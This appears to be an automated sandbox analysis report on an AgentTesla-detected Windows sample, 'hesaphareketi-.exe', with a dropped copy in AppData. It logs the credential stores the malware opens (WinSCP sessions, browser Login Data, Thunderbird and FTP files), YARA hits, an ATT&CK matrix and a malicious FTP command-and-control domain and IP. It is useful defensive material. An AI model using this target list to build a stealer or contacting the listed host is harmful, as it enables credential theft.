Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Users\user\Desktop\hesaphareketi-.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Queries volume information: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Queries volume information: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.hesaphareketi-.exe.3474e08.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xyodEPhulIrkY.exe.3645378.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.34af428.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.hesaphareketi-.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xyodEPhulIrkY.exe.367f998.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.34af428.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xyodEPhulIrkY.exe.367f998.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xyodEPhulIrkY.exe.3645378.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.4492600143.0000000002CFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4487969528.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2100310326.0000000003645000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4492018819.000000000304E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2069027456.0000000003474000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4492600143.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4492018819.0000000003001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hesaphareketi-.exe PID: 6516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: hesaphareketi-.exe PID: 5300, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xyodEPhulIrkY.exe PID: 2828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xyodEPhulIrkY.exe PID: 1628, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\hesaphareketi-.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 0.2.hesaphareketi-.exe.3474e08.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xyodEPhulIrkY.exe.3645378.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.34af428.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.hesaphareketi-.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xyodEPhulIrkY.exe.367f998.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.34af428.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xyodEPhulIrkY.exe.367f998.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xyodEPhulIrkY.exe.3645378.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4487969528.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2100310326.0000000003645000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2069027456.0000000003474000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4492600143.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4492018819.0000000003001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hesaphareketi-.exe PID: 6516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: hesaphareketi-.exe PID: 5300, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xyodEPhulIrkY.exe PID: 2828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xyodEPhulIrkY.exe PID: 1628, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.hesaphareketi-.exe.3474e08.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xyodEPhulIrkY.exe.3645378.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.34af428.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.hesaphareketi-.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xyodEPhulIrkY.exe.367f998.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.34af428.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xyodEPhulIrkY.exe.367f998.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xyodEPhulIrkY.exe.3645378.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.4492600143.0000000002CFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4487969528.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2100310326.0000000003645000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4492018819.000000000304E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2069027456.0000000003474000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4492600143.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4492018819.0000000003001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hesaphareketi-.exe PID: 6516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: hesaphareketi-.exe PID: 5300, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xyodEPhulIrkY.exe PID: 2828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xyodEPhulIrkY.exe PID: 1628, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	1 Exfiltration Over Alternative Protocol	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	11 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	2 Obfuscated Files or Information	1 Credentials in Registry	211 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	21 Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
hesaphareketi-.exe	53%	ReversingLabs	Win32.Trojan.Generic
hesaphareketi-.exe	100%	Avira	HEUR/AGEN.1363658
hesaphareketi-.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	100%	Avira	HEUR/AGEN.1363658
C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	53%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://account.dyn.com/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://ftp.normagroup.com.tr	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ftp.normagroup.com.tr	104.247.165.99	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ftp.normagroup.com.tr	hesaphareketi-.exe, 00000008.00000002.4492018819.000000000304E000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000008.00000002.4492018819.000000000305C000.00000004.00000800.00020000.00000000.sdmp, xyodEPhulIrkY.exe, 0000000D.00000002.4492600143.0000000002CFE000.00000004.00000800.00020000.00000000.sdmp, xyodEPhulIrkY.exe, 0000000D.00000002.4492600143.0000000002D0C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://account.dyn.com/	hesaphareketi-.exe, 00000000.00000002.2069027456.0000000003474000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000008.00000002.4487969528.0000000000403000.00000040.00000400.00020000.00000000.sdmp, xyodEPhulIrkY.exe, 00000009.00000002.2100310326.0000000003645000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
